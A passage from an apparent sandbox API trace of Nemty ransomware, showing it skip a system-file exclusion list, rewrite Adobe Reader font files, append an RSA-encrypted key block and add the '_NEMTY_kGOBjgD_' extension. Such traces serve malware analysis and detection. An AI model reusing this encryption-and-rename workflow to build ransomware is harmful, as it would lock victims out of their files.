| out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.499] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8790, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x8790, lpOverlapped=0x0) returned 1 [0214.503] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.503] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8790, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x8790, lpOverlapped=0x0) returned 1 [0214.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.503] SetFilePointer (in: hFile=0x254, lDistanceToMove=34705, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8791 [0214.503] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.504] CloseHandle (hObject=0x254) returned 1 [0214.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0214.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0214.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0214.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.504] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\sy______.pfb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\sy______.pfb._nemty_kgobjgd_")) returned 1 [0214.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0214.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.505] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2=".") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="..") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="...") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="windows") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="$RECYCLE.BIN") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="rsa") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="NTDETECT.COM") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="ntldr") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="MSDOS.SYS") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="IO.SYS") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="boot.ini") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="boot.ini") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="AUTOEXEC.BAT") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="ntuser.dat") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="desktop.ini") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="CONFIG.SYS") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="RECYCLER") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="BOOTSECT.BAK") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="bootmgr") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="programdata") returned 1 [0214.505] lstrcmpiW (lpString1="ZX______.PFB", lpString2="appdata") returned 1 [0214.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZX______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZX______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZX______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZX______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.506] Sleep (dwMilliseconds=0x5) [0214.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x337f5ef0, dwHighDateTime=0x1d561e8)) [0214.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x337f5ef0, dwHighDateTime=0x1d561e8)) [0214.514] GetLastError () returned 0x0 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.514] GetLastError () returned 0x0 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.514] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.514] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.514] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.514] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="gBYVHFq0qPwfwxpOEBIDKoLhmJd0eUFu5+Ty1BoueP1wLgKknaTj+dlSz2jKhblV\r\n6ixgKjAQ2nAGT+K+J31yHGvJfbgZ84EwCdyInVBZDdKJS3HZLf0/kP8EEF38OWB2\r\nfy4mx8QMymUieDriAwFGE6fzNnpcT/8uHv8YurpiotabgAAJk9YvjwBN1UUdhxkC\r\n3UOoguKAq4wI/EqroulQS3AWCmeleC+JJhecqKeltmtL5Lq7uXHhZudpQAVEHJEM\r\nz0hpmBtp6rlSPIhVJRT0H5PSqJNsbPHA+GRHZwfwbQ79xECzP43T+vPoflIIEHxa\r\nIcGYEcZiC1l1MPzc6xw0kQ==\r\n", pcchString=0x653e91c) returned 1 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zx______.pfb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.515] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=75573) returned 1 [0214.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12730) returned 0x6352c48 [0214.515] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.515] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12730, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x12730, lpOverlapped=0x0) returned 1 [0214.521] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.521] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12730, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x12730, lpOverlapped=0x0) returned 1 [0214.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.521] SetFilePointer (in: hFile=0x254, lDistanceToMove=75573, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12735 [0214.521] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.521] CloseHandle (hObject=0x254) returned 1 [0214.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0214.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.522] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zx______.pfb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zx______.pfb._nemty_kgobjgd_")) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.522] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2=".") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="..") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="...") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="windows") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="$RECYCLE.BIN") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="rsa") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="NTDETECT.COM") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="ntldr") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="MSDOS.SYS") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="IO.SYS") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="boot.ini") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="boot.ini") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="AUTOEXEC.BAT") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="ntuser.dat") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="desktop.ini") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="CONFIG.SYS") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="RECYCLER") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="BOOTSECT.BAK") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="bootmgr") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="programdata") returned 1 [0214.523] lstrcmpiW (lpString1="ZY______.PFB", lpString2="appdata") returned 1 [0214.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.524] Sleep (dwMilliseconds=0x5) [0214.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3381c050, dwHighDateTime=0x1d561e8)) [0214.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3381c050, dwHighDateTime=0x1d561e8)) [0214.529] GetLastError () returned 0x0 [0214.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.529] GetLastError () returned 0x0 [0214.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.529] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.529] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.529] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.529] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="L0dQ1Bg1CK9mZ+xWbxqGHMG4KA11C1gvTp3ugdKGHfnOFkWva/yV67X2lvCovnia\r\nxNBN6O0OBqqZUqape1B+LGBadhPfmi5li8dMehyBTReIjfZV05b9u3MihxTfCSWD\r\nz0LsnKE6OvyW8UkOiYSAsMw2KijuPvmp5pXzv7uCMWgEJuvHl6w2RWCWhzBpMUEr\r\nROHYdt6ZhDSPRE915MVUD1E1muGqpUPxsBUIfRq/5oW0pz5bmn77D22/efWs3dqv\r\n9lIL59Gamgqo5Lcnw7PVaEA3k6kju8QCtV2gt7oUip13CuIvhCpgDGu/MOiZ+1tW\r\nU1urHglSczDaO+VorGGgjA==\r\n", pcchString=0x653e91c) returned 1 [0214.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.530] CreateFileW 